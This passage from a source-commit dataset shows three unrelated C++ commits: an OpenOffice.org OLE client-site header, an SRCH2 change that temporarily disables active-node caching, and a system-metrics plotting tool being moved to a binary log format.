2006\/08\/29 14:08:21 sb 1.2.64.1: #i67487# Made code warning-free (wntmsci10).<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: olewrapclient.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: obo $ $Date: 2006-10-12 11:23:42 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include <osl\/interlck.h>\n#include <osl\/mutex.hxx>\n#include <platform.h>\n\nclass OleComponent;\nclass OleWrapperClientSite : public IOleClientSite\n{\n    osl::Mutex m_aMutex;\n    oslInterlockedCount m_nRefCount;\n    OleComponent* m_pOleComp;\n\npublic:\n    OleWrapperClientSite( OleComponent* pOleComp );\n    virtual ~OleWrapperClientSite(void);\n\n    void disconnectOleComponent();\n\n    STDMETHODIMP QueryInterface(REFIID, void**);\n    STDMETHODIMP_(ULONG) AddRef(void);\n    STDMETHODIMP_(ULONG) Release(void);\n\n    STDMETHODIMP SaveObject(void);\n    STDMETHODIMP GetMoniker(DWORD, DWORD, LPMONIKER *);\n    STDMETHODIMP GetContainer(LPOLECONTAINER *);\n    STDMETHODIMP ShowObject(void);\n    STDMETHODIMP OnShowWindow(BOOL);\n    STDMETHODIMP RequestNewObjectLayout(void);\n};\n\n<|endoftext|>"}
{"text":"<commit_before>\n\/\/ $Id: Cache.cpp 3456 2013-06-14 02:11:13Z jiaying $\n\n\/*\n * The Software is made available solely for use according to the License Agreement. Any reproduction\n * or redistribution of the Software not in accordance with the License Agreement is expressly prohibited\n * by law, and may result in severe civil and criminal penalties. Violators will be prosecuted to the\n * maximum extent possible.\n *\n * THE SOFTWARE IS WARRANTED, IF AT ALL, ONLY ACCORDING TO THE TERMS OF THE LICENSE AGREEMENT. EXCEPT\n * AS WARRANTED IN THE LICENSE AGREEMENT, SRCH2 INC. HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS WITH\n * REGARD TO THE SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT.  IN NO EVENT SHALL SRCH2 INC. BE LIABLE FOR ANY\n * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER ACTION, ARISING OUT OF OR IN CONNECTION\n * WITH THE USE OR PERFORMANCE OF SOFTWARE.\n\n * Copyright © 2010 SRCH2 Inc. All rights reserved\n *\/\n\n#include \"CacheManager.h\"\n#include \"util\/Assert.h\"\n#include \"util\/Logger.h\"\n#include \"operation\/physical_plan\/PhysicalPlan.h\"\n#include <string>\n#include <map>\n#include <stddef.h>\n\n#include <iostream>\n#include <sstream>\n\nusing std::vector;\nusing std::map;\n\nnamespace srch2\n{\nnamespace instantsearch\n{\n\n\nbool PhysicalOperatorsCache::getPhysicalOperatorsInfo(string & key,  boost::shared_ptr<PhysicalOperatorCacheObject> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid PhysicalOperatorsCache::setPhysicalOperatosInfo(string & key , boost::shared_ptr<PhysicalOperatorCacheObject> object){\n\tthis->cacheContainer->put(key , object);\n}\nint PhysicalOperatorsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint ActiveNodesCache::findLongestPrefixActiveNodes(Term *term, boost::shared_ptr<PrefixActiveNodeSet> &in){\n\n\t\/\/ find the longest prefix with active nodes in the cache\n\tunsigned termThreshold = term->getThreshold();\n\tstring *keyword = term->getKeyword();\n\tfor (int i = keyword->size(); i >= 2; i --)\n\t{\n\t\tstring prefix = keyword->substr(0, i);\n\t\tstd::string exactOrFuzzy =  termThreshold == 0?\"0\":\"1\";\n\t\tstring key = prefix + \"$\" + exactOrFuzzy;\n\t\t\/\/ Cache key is : keyword+0 (for exact) or keyword+1 (for fuzzy)\n\t\t\/\/ for example: terminator => \"terminator$0\"\n\t\t\/\/         and  terminator~0.5 => \"terminator$1\"\n\t\tboost::shared_ptr<PrefixActiveNodeSet> cacheHit;\n\t\tif(this->cacheContainer->get(key , cacheHit) == true && cacheHit->getEditDistanceThreshold() >= termThreshold){\n\t\t\tin = cacheHit;\n\t\t\treturn 1;\n\t\t}\n\t}\n    \/\/ no prefix has a cached PrefixActiveNodeSet\n\treturn 0;\n\n}\n\n\nint ActiveNodesCache::setPrefixActiveNodeSet(boost::shared_ptr<PrefixActiveNodeSet> &prefixActiveNodeSet){\n\tvector<CharType> *prefix = prefixActiveNodeSet->getPrefix();\n\tstd::stringstream ss ;\n\tss << prefixActiveNodeSet->getEditDistanceThreshold();\n\tstd::string exactOrFuzzy = ss.str();\n\/\/\tstd::string exactOrFuzzy =  prefixActiveNodeSet->getEditDistanceThreshold() == 0?\"0\":\"1\";\n\tstring key = getUtf8String(*prefix) + \"$\" + exactOrFuzzy;\n\tthis->cacheContainer->put(key , prefixActiveNodeSet);\n\treturn 1;\n}\nint ActiveNodesCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nActiveNodesCache * CacheManager::getActiveNodesCache(){\n\treturn this->aCache;\n}\n\nQueryResultsCache * CacheManager::getQueryResultsCache(){\n\treturn this->qCache;\n}\n\nPhysicalOperatorsCache * CacheManager::getPhysicalOperatorsCache(){\n\treturn this->pCache;\n}\n\nPhysicalPlanRecordItemFactory * CacheManager::getPhysicalPlanRecordItemFactory(){\n\treturn this->physicalPlanRecordItemFactory;\n}\n\nbool QueryResultsCache::getQueryResults(string & key, boost::shared_ptr<QueryResultsCacheEntry> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid QueryResultsCache::setQueryResults(string & key , boost::shared_ptr<QueryResultsCacheEntry> object){\n\tthis->cacheContainer->put(key , object);\n}\nint QueryResultsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint CacheManager::clear(){\n\treturn this->aCache->clear() && this->qCache->clear() && this->pCache->clear() && this->physicalPlanRecordItemFactory->clear();\n}\n\n\n\n}}\n<commit_msg>disabled active node caching temporarily<commit_after>\n\/\/ $Id: Cache.cpp 3456 2013-06-14 02:11:13Z jiaying $\n\n\/*\n * The Software is made available solely for use according to the License Agreement. Any reproduction\n * or redistribution of the Software not in accordance with the License Agreement is expressly prohibited\n * by law, and may result in severe civil and criminal penalties. Violators will be prosecuted to the\n * maximum extent possible.\n *\n * THE SOFTWARE IS WARRANTED, IF AT ALL, ONLY ACCORDING TO THE TERMS OF THE LICENSE AGREEMENT. EXCEPT\n * AS WARRANTED IN THE LICENSE AGREEMENT, SRCH2 INC. HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS WITH\n * REGARD TO THE SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT.  IN NO EVENT SHALL SRCH2 INC. BE LIABLE FOR ANY\n * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER ACTION, ARISING OUT OF OR IN CONNECTION\n * WITH THE USE OR PERFORMANCE OF SOFTWARE.\n\n * Copyright © 2010 SRCH2 Inc. All rights reserved\n *\/\n\n#include \"CacheManager.h\"\n#include \"util\/Assert.h\"\n#include \"util\/Logger.h\"\n#include \"operation\/physical_plan\/PhysicalPlan.h\"\n#include <string>\n#include <map>\n#include <stddef.h>\n\n#include <iostream>\n#include <sstream>\n\nusing std::vector;\nusing std::map;\n\nnamespace srch2\n{\nnamespace instantsearch\n{\n\n\nbool PhysicalOperatorsCache::getPhysicalOperatorsInfo(string & key,  boost::shared_ptr<PhysicalOperatorCacheObject> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid PhysicalOperatorsCache::setPhysicalOperatosInfo(string & key , boost::shared_ptr<PhysicalOperatorCacheObject> object){\n\tthis->cacheContainer->put(key , object);\n}\nint PhysicalOperatorsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint ActiveNodesCache::findLongestPrefixActiveNodes(Term *term, boost::shared_ptr<PrefixActiveNodeSet> &in){\n  \/\/ TODO: Disable cachinng temporarily\n  return 0;\n\n\t\/\/ find the longest prefix with active nodes in the cache\n\tunsigned termThreshold = term->getThreshold();\n\tstring *keyword = term->getKeyword();\n\tfor (int i = keyword->size(); i >= 2; i --)\n\t{\n\t\tstring prefix = keyword->substr(0, i);\n\t\tstd::string exactOrFuzzy =  termThreshold == 0?\"0\":\"1\";\n\t\tstring key = prefix + \"$\" + exactOrFuzzy;\n\t\t\/\/ Cache key is : keyword+0 (for exact) or keyword+1 (for fuzzy)\n\t\t\/\/ for example: terminator => \"terminator$0\"\n\t\t\/\/         and  terminator~0.5 => \"terminator$1\"\n\t\tboost::shared_ptr<PrefixActiveNodeSet> cacheHit;\n\t\tif(this->cacheContainer->get(key , cacheHit) == true && cacheHit->getEditDistanceThreshold() >= termThreshold){\n\t\t\tin = cacheHit;\n\t\t\treturn 1;\n\t\t}\n\t}\n    \/\/ no prefix has a cached PrefixActiveNodeSet\n\treturn 0;\n\n}\n\n\nint ActiveNodesCache::setPrefixActiveNodeSet(boost::shared_ptr<PrefixActiveNodeSet> &prefixActiveNodeSet){\n  \/\/ TODO: disable caching temporarily\n  return 1;\n\n\tvector<CharType> *prefix = prefixActiveNodeSet->getPrefix();\n\tstd::stringstream ss ;\n\tss << prefixActiveNodeSet->getEditDistanceThreshold();\n\tstd::string exactOrFuzzy = ss.str();\n\/\/\tstd::string exactOrFuzzy =  prefixActiveNodeSet->getEditDistanceThreshold() == 0?\"0\":\"1\";\n\tstring key = getUtf8String(*prefix) + \"$\" + exactOrFuzzy;\n\tthis->cacheContainer->put(key , prefixActiveNodeSet);\n\treturn 1;\n}\nint ActiveNodesCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nActiveNodesCache * CacheManager::getActiveNodesCache(){\n\treturn this->aCache;\n}\n\nQueryResultsCache * CacheManager::getQueryResultsCache(){\n\treturn this->qCache;\n}\n\nPhysicalOperatorsCache * CacheManager::getPhysicalOperatorsCache(){\n\treturn this->pCache;\n}\n\nPhysicalPlanRecordItemFactory * CacheManager::getPhysicalPlanRecordItemFactory(){\n\treturn this->physicalPlanRecordItemFactory;\n}\n\nbool QueryResultsCache::getQueryResults(string & key, boost::shared_ptr<QueryResultsCacheEntry> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid QueryResultsCache::setQueryResults(string & key , boost::shared_ptr<QueryResultsCacheEntry> object){\n\tthis->cacheContainer->put(key , object);\n}\nint QueryResultsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint CacheManager::clear(){\n\treturn this->aCache->clear() && this->qCache->clear() && this->pCache->clear() && this->physicalPlanRecordItemFactory->clear();\n}\n\n\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\file   system_monitor_viewer.cc\n *  \\brief  Visualises the metrics collected by the system_monitor service\n *  \\author Madeeswaran Kannan (madeeswaran.kannan@uni-tuebingen.de)\n *\n *  \\copyright 2019 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <unordered_map>\n#include <ctime>\n#include \"ExecUtil.h\"\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n#include \"MiscUtil.h\"\n#include \"StringUtil.h\"\n#include \"TextUtil.h\"\n#include \"TimeUtil.h\"\n#include \"UBTools.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    ::Usage(\"[--output-filename=path] system_id metric time_range\\n\"\n            \"       system_id       - One of the following: nu ptah sobek ub15 ub16 ub28\\n\"\n            \"       metric          - One of the following: mem cpu disk\\n\"\n            \"       time_range      - One of the following time ranges:\\n\"\n            \"                            YYYY\/MM\/DD[THH:MM:SS][-YYYY\/MM\/DD[THH:MM:SS]\\n\"\n            \"                            last <n> <hours|days|weeks|months>\\n\"\n            \"       The config file path is \\\"\" + UBTools::GetTuelibPath() + FileUtil::GetBasename(::progname) + \".conf\\\".\");\n}\n\n\nbool ParseTimestamp(const std::string &timestamp, struct tm * const tm) {\n    return TimeUtil::StringToStructTm(tm, timestamp, \"%Y\/%m\/%d\") or\n           TimeUtil::StringToStructTm(tm, timestamp, \"%Y\/%m\/%dT%H:%M:%S\");\n}\n\n\nvoid ParseTimeRange(const std::string &range_string, time_t * const time_start, time_t * const time_end) {\n    std::vector<std::string> tokens;\n\n    if (StringUtil::StartsWith(range_string, \"last \", true)) {\n        StringUtil::SplitThenTrimWhite(range_string, ' ', &tokens, true);\n        if (tokens.size() != 3)\n            LOG_ERROR(\"invalid time range\");\n\n        unsigned time_atom(0);\n        if (not StringUtil::ToUnsigned(tokens[1], &time_atom))\n            LOG_ERROR(\"time atom has to be greater than zero\");\n\n        auto current_time(std::time(nullptr));\n        unsigned long seconds_to_deduct(0);\n        const auto granularity(tokens[2]);\n        if (StringUtil::StartsWith(granularity, \"hour\", true))\n            seconds_to_deduct = time_atom * 3600;\n        else if (StringUtil::StartsWith(granularity, \"day\", true))\n            seconds_to_deduct = time_atom * 24 * 3600;\n        else if (StringUtil::StartsWith(granularity, \"week\", true))\n            seconds_to_deduct = time_atom * 7 * 24 * 3600;\n        else if (StringUtil::StartsWith(granularity, \"month\", true))\n            seconds_to_deduct = time_atom * 31 * 24 * 3600;\n        else\n            LOG_ERROR(\"invalid time range\");\n\n        *time_start = current_time - seconds_to_deduct;\n        *time_end = current_time;\n\n        return;\n    }\n\n    struct tm start_time_buffer, end_time_buffer;\n    std::memset(&start_time_buffer, 0, sizeof(struct tm));\n    std::memset(&end_time_buffer, 0, sizeof(struct tm));\n\n    if (ParseTimestamp(range_string, &start_time_buffer)) {\n        *time_start = std::mktime(&start_time_buffer);\n        *time_end = TimeUtil::BAD_TIME_T;\n        if (*time_start == TimeUtil::BAD_TIME_T)\n            LOG_ERROR(\"invalid time range\");\n\n        return;\n    }\n\n    if (StringUtil::Split(range_string, '-', &tokens, true) != 2)\n        LOG_ERROR(\"invalid time range\");\n\n    if (not ParseTimestamp(tokens[0], &start_time_buffer) or\n        not ParseTimestamp(tokens[1], &end_time_buffer))\n    {\n        LOG_ERROR(\"invalid time range\");\n    }\n\n    *time_start = std::mktime(&start_time_buffer);\n    *time_end = std::mktime(&end_time_buffer);\n    if (*time_start == TimeUtil::BAD_TIME_T)\n        LOG_ERROR(\"invalid time range\");\n}\n\n\nstruct Datapoint {\n    std::string label_;\n    time_t timestamp_;\n    std::string value_;\n\n    Datapoint(const std::string &label, const time_t timestamp, const std::string &value)\n        : label_(label), timestamp_(timestamp), value_(value) {}\n\n    bool operator<(const Datapoint &rhs) const {\n        return this->timestamp_ < rhs.timestamp_;\n    }\n};\n\n\nextern const std::unordered_map<std::string, std::string> INDIVIDUAL_METRIC_TO_LABEL_MAP;\n\n\nvoid LoadSystemMonitorLog(const std::string &log_path, std::vector<Datapoint> * const data) {\n    static constexpr size_t DATA_INITIAL_SIZE = 1000 * 1000;\n\n    File log_file(log_path, \"r\");\n    int line_num(1);\n    std::vector<std::string> parts;\n    data->reserve(DATA_INITIAL_SIZE);\n\n    while (not log_file.eof()) {\n        const auto line(TextUtil::CollapseAndTrimWhitespace(log_file.getline()));\n        if (not line.empty()) {\n            if (StringUtil::Split(line, ' ', &parts, true) != 3)\n                LOG_ERROR(\"invalid line \" + std::to_string(line_num) + \" in file '\" + log_path + \"': \" + line);\n\n            const auto metric_name(parts[0]);\n            const auto label_match(INDIVIDUAL_METRIC_TO_LABEL_MAP.find(metric_name));\n            if (label_match != INDIVIDUAL_METRIC_TO_LABEL_MAP.end()) {\n                struct tm tm_buffer;\n                std::memset(&tm_buffer, 0, sizeof(struct tm));\n\n                if (not TimeUtil::StringToStructTm(&tm_buffer, parts[2], TimeUtil::ISO_8601_FORMAT))\n                    LOG_ERROR(\"invalid timestamp on line \" + std::to_string(line_num));\n\n                data->emplace_back(label_match->second, std::mktime(&tm_buffer), parts[1]);\n            } else\n                LOG_DEBUG(\"unknown metric '\" + metric_name + \"' in line \" + std::to_string(line_num));\n        }\n\n        ++line_num;\n    }\n\n    \/\/ sort by timestamp\n    std::sort(data->begin(), data->end());\n}\n\n\nvoid GetDataRange(const time_t time_start, const time_t time_end, const std::vector<Datapoint> &data,\n                  std::vector<Datapoint>::const_iterator * const begin, std::vector<Datapoint>::const_iterator * const end)\n{\n    \/\/ The list should be sorted at this point\n    *begin = std::lower_bound(data.begin(), data.end(), Datapoint(\"\", time_start, \"\"));\n    *end = std::upper_bound(data.begin(), data.end(), Datapoint(\"\", time_end, \"\"));\n}\n\n\nunsigned WritePlotDataToDisk(const std::string &output_path, const std::vector<std::string> &labels,\n                         const std::vector<Datapoint>::const_iterator &data_begin, const std::vector<Datapoint>::const_iterator &data_end)\n{\n    \/\/ We expect the values of the labels to use the same axis\/scale\n    \/\/ Columns: Timestamp [Label 1..n]\n    File plot_data(output_path, \"w\");\n\n    plot_data.writeln(\"#\\t\" + StringUtil::Join(labels, '\\t'));\n\n    time_t current_write_timestamp(TimeUtil::BAD_TIME_T);\n    std::map<std::string, std::string> current_write_timestamp_values;\n    unsigned lines_written(0);\n\n    for (auto itr(data_begin); itr != data_end; ++itr) {\n        const auto datapoint(*itr);\n\n        if (current_write_timestamp == datapoint.timestamp_) {\n            current_write_timestamp_values[datapoint.label_] = datapoint.value_;\n            continue;\n        }\n\n        if (not current_write_timestamp_values.empty()) {\n            std::string out_line(std::to_string(current_write_timestamp) + \"\\t\");\n            for (const auto &label : labels) {\n                const auto value(current_write_timestamp_values.find(label));\n                if (value != current_write_timestamp_values.end())\n                    out_line += value->second + \"\\t\";\n                else\n                    out_line += \"\\t\";\n            }\n\n            plot_data.writeln(out_line);\n            ++lines_written;\n        }\n\n        current_write_timestamp = datapoint.timestamp_;\n        current_write_timestamp_values[datapoint.label_] = datapoint.value_;\n    }\n\n    if (not current_write_timestamp_values.empty()) {\n        std::string out_line(std::to_string(current_write_timestamp) + \"\\t\");\n        for (const auto &label : labels) {\n            const auto value(current_write_timestamp_values.find(label));\n            if (value != current_write_timestamp_values.end())\n                out_line += value->second + \"\\t\";\n            else\n                out_line += \"\\t\";\n        }\n\n        plot_data.writeln(out_line);\n        ++lines_written;\n    }\n\n    return lines_written;\n}\n\n\nvoid DisplayPlot(const std::string &data_path, const std::string &script_path, const std::string &plot_path) {\n    if (not FileUtil::Exists(data_path))\n        LOG_ERROR(\"data file for plotting does not exist at \" + data_path);\n    else if (not FileUtil::Exists(script_path))\n        LOG_ERROR(\"script file for plotting does not exist at \" + script_path);\n\n    std::vector<std::string> gnuplot_args {\n        \"-c\",\n        script_path,\n        data_path,\n        plot_path,\n    };\n    ExecUtil::ExecOrDie(\"\/usr\/bin\/gnuplot\", gnuplot_args);\n\n    std::vector<std::string> xdg_args {\n        plot_path\n    };\n\n    ExecUtil::ExecOrDie(\"\/usr\/bin\/xdg-open\", xdg_args);\n}\n\n\nconst std::set<std::string> VALID_SYSTEM_IDS{\n    \"nu\", \"ptah\", \"sobek\", \"ub15\", \"ub16\", \"ub28\"\n};\n\n\nconst std::set<std::string> VALID_COARSE_METRICS{\n    \"cpu\", \"mem\", \"disk\"\n};\n\n\nconst std::unordered_map<std::string, std::string> INDIVIDUAL_METRIC_TO_LABEL_MAP {\n    { \"MemAvailable\", \"Mem-Free\"        },\n    { \"Unevictable\",  \"Mem-Unevictable\" },\n    { \"SwapFree\",     \"Mem-SwapFree\"    },\n    { \"CPU\",          \"CPU\"             }\n};\n\n\nvoid GetLabelsForCoarseMetric(const std::string &coarse_metric, std::vector<std::string> * const labels) {\n    \/\/ this order needs to be observed in the plotting scripts\n    if (coarse_metric == \"mem\") {\n        labels->emplace_back(\"Mem-Free\");\n        labels->emplace_back(\"Mem-Unevictable\");\n        labels->emplace_back(\"Mem-SwapFree\");\n    } else if (coarse_metric == \"cpu\")\n        labels->emplace_back(\"Cpu\");\n    else if (coarse_metric == \"disk\")\n        ;\n    else\n        LOG_ERROR(\"invalid coarse metric '\" + coarse_metric + \"'\");\n}\n\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc < 4)\n        Usage();\n\n    const std::string OUTPUT_FILENAME_FLAG_PREFIX(\"--output-filename=\");\n    std::string output_filename;\n    if (StringUtil::StartsWith(argv[1], OUTPUT_FILENAME_FLAG_PREFIX)) {\n        output_filename = argv[1] + OUTPUT_FILENAME_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc != 4)\n        Usage();\n\n    const std::string system_id(TextUtil::UTF8ToLower(argv[1]));\n    const std::string coarse_metric(TextUtil::UTF8ToLower(argv[2]));\n    const std::string time_range(argv[3]);\n\n    if (VALID_SYSTEM_IDS.find(system_id) == VALID_SYSTEM_IDS.end())\n        LOG_ERROR(\"invalid system ID '\" + system_id + \"'\");\n    else {\n        const auto hostname(MiscUtil::SafeGetEnv(\"HOSTNAME\"));\n        if (not StringUtil::StartsWith(hostname, system_id, true))\n            LOG_WARNING(\"attempting to view system monitor data of a system that is not the host. time range may be inaccurate\");\n    }\n\n    time_t time_start, time_end;\n    std::vector<Datapoint> log_data;\n    std::vector<Datapoint>::const_iterator data_range_start, data_range_end;\n    std::vector<std::string> labels;\n\n    ParseTimeRange(time_range, &time_start, &time_end);\n    GetLabelsForCoarseMetric(coarse_metric, &labels);\n\n    const IniFile ini_file(UBTools::GetTuelibPath() + FileUtil::GetBasename(::progname) + \".conf\");\n    const auto log_file(ini_file.getString(\"Logs\", system_id));\n    const auto plot_data_file(ini_file.getString(\"Default Plotting Inputs\", coarse_metric));\n    const auto plot_script_file(ini_file.getString(\"Plotting Scripts\", coarse_metric));\n    if (output_filename.empty())\n        output_filename = ini_file.getString(\"Default Plotting Outputs\", coarse_metric);\n\n    LoadSystemMonitorLog(log_file, &log_data);\n    GetDataRange(time_start, time_end, log_data, &data_range_start, &data_range_end);\n\n    if (data_range_start == log_data.end())\n        LOG_ERROR(\"found no data that was newer than the given range's beginning\");\n\n    if (time_end == TimeUtil::BAD_TIME_T) {\n        \/\/ print out the closest data point\n        if (data_range_start->timestamp_ == time_start)\n            LOG_INFO(\"Data for exact time point (\" + TimeUtil::TimeTToString(time_start) + \"):\");\n        else\n            LOG_INFO(\"Data for closest time point (\" + TimeUtil::TimeTToString(time_start) + \"):\");\n\n        const auto datapoint_timestamp(data_range_start->timestamp_);\n        while (data_range_start != log_data.end() and data_range_start->timestamp_ == datapoint_timestamp)\n            LOG_INFO(\"\\t\" + data_range_start->label_ + \" = \" + data_range_start->value_);\n\n        return EXIT_SUCCESS;\n    }\n\n    if (WritePlotDataToDisk(plot_data_file, labels, data_range_start, data_range_end) == 0)\n        LOG_WARNING(\"found no data for the given time range\");\n    else\n        DisplayPlot(plot_data_file, plot_script_file, output_filename);\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>system_monitor_viewer: switch to binary log format<commit_after>\/** \\file   system_monitor_viewer.cc\n *  \\brief  Visualises the metrics collected by the system_monitor service\n *  \\author Madeeswaran Kannan (madeeswaran.kannan@uni-tuebingen.de)\n *\n *  \\copyright 2019 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <unordered_map>\n#include <ctime>\n#include \"BinaryIO.h\"\n#include \"ExecUtil.h\"\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n#include \"MiscUtil.h\"\n#include \"StringUtil.h\"\n#include \"TextUtil.h\"\n#include \"TimeUtil.h\"\n#include \"UBTools.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    ::Usage(\"[--output-filename=path] system_id metric time_range\\n\"\n            \"       system_id       - One of the following: nu ptah sobek ub15 ub16 ub28\\n\"\n            \"       metric          - One of the following: mem cpu disk\\n\"\n            \"       time_range      - One of the following time ranges:\\n\"\n            \"                            YYYY\/MM\/DD[THH:MM:SS][-YYYY\/MM\/DD[THH:MM:SS]\\n\"\n            \"                            last <n> <hours|days|weeks|months>\\n\"\n            \"       The config file path is \\\"\" + UBTools::GetTuelibPath() + FileUtil::GetBasename(::progname) + \".conf\\\".\");\n}\n\n\nbool ParseTimestamp(const std::string &timestamp, struct tm * const tm) {\n    return TimeUtil::StringToStructTm(tm, timestamp, \"%Y\/%m\/%d\") or\n           TimeUtil::StringToStructTm(tm, timestamp, \"%Y\/%m\/%dT%H:%M:%S\");\n}\n\n\nvoid ParseTimeRange(const std::string &range_string, time_t * const time_start, time_t * const time_end) {\n    std::vector<std::string> tokens;\n\n    if (StringUtil::StartsWith(range_string, \"last \", true)) {\n        StringUtil::SplitThenTrimWhite(range_string, ' ', &tokens, true);\n        if (tokens.size() != 3)\n            LOG_ERROR(\"invalid time range\");\n\n        unsigned time_atom(0);\n        if (not StringUtil::ToUnsigned(tokens[1], &time_atom))\n            LOG_ERROR(\"time atom has to be greater than zero\");\n\n        auto current_time(std::time(nullptr));\n        unsigned long seconds_to_deduct(0);\n        const auto granularity(tokens[2]);\n        if (StringUtil::StartsWith(granularity, \"hour\", true))\n            seconds_to_deduct = time_atom * 3600;\n        else if (StringUtil::StartsWith(granularity, \"day\", true))\n            seconds_to_deduct = time_atom * 24 * 3600;\n        else if (StringUtil::StartsWith(granularity, \"week\", true))\n            seconds_to_deduct = time_atom * 7 * 24 * 3600;\n        else if (StringUtil::StartsWith(granularity, \"month\", true))\n            seconds_to_deduct = time_atom * 31 * 24 * 3600;\n        else\n            LOG_ERROR(\"invalid time range\");\n\n        *time_start = current_time - seconds_to_deduct;\n        *time_end = current_time;\n\n        return;\n    }\n\n    struct tm start_time_buffer, end_time_buffer;\n    std::memset(&start_time_buffer, 0, sizeof(struct tm));\n    std::memset(&end_time_buffer, 0, sizeof(struct tm));\n\n    if (ParseTimestamp(range_string, &start_time_buffer)) {\n        *time_start = std::mktime(&start_time_buffer);\n        *time_end = TimeUtil::BAD_TIME_T;\n        if (*time_start == TimeUtil::BAD_TIME_T)\n            LOG_ERROR(\"invalid time range\");\n\n        return;\n    }\n\n    if (StringUtil::Split(range_string, '-', &tokens, true) != 2)\n        LOG_ERROR(\"invalid time range\");\n\n    if (not ParseTimestamp(tokens[0], &start_time_buffer) or\n        not ParseTimestamp(tokens[1], &end_time_buffer))\n    {\n        LOG_ERROR(\"invalid time range\");\n    }\n\n    *time_start = std::mktime(&start_time_buffer);\n    *time_end = std::mktime(&end_time_buffer);\n    if (*time_start == TimeUtil::BAD_TIME_T)\n        LOG_ERROR(\"invalid time range\");\n}\n\n\nstruct Datapoint {\n    std::string label_;\n    time_t timestamp_;\n    std::string value_;\n\n    Datapoint(const std::string &label, const time_t timestamp, const std::string &value)\n        : label_(label), timestamp_(timestamp), value_(value) {}\n\n    bool operator<(const Datapoint &rhs) const {\n        return this->timestamp_ < rhs.timestamp_;\n    }\n};\n\n\nvoid LoadSystemMonitorLog(const std::string &log_path, const std::unordered_map<uint8_t, std::string> &ordinal_to_label_map,\n                          std::vector<Datapoint> * const data)\n{\n    static constexpr size_t DATA_INITIAL_SIZE = 1000 * 1000;\n\n    File log_file(log_path, \"rb\");\n    int entry_num(1);\n    std::vector<std::string> parts;\n    data->reserve(DATA_INITIAL_SIZE);\n\n    while (not log_file.eof()) {\n        uint32_t timestamp;\n        uint8_t ordinal;\n        uint32_t value;\n\n        BinaryIO::ReadOrDie(log_file, &timestamp);\n        BinaryIO::ReadOrDie(log_file, &ordinal);\n        BinaryIO::ReadOrDie(log_file, &value);\n\n        if (ordinal_to_label_map.find(ordinal) == ordinal_to_label_map.end())\n            LOG_ERROR(\"unknown ordinal \" + std::to_string(ordinal) + \" in log entry \" + std::to_string(entry_num));\n\n        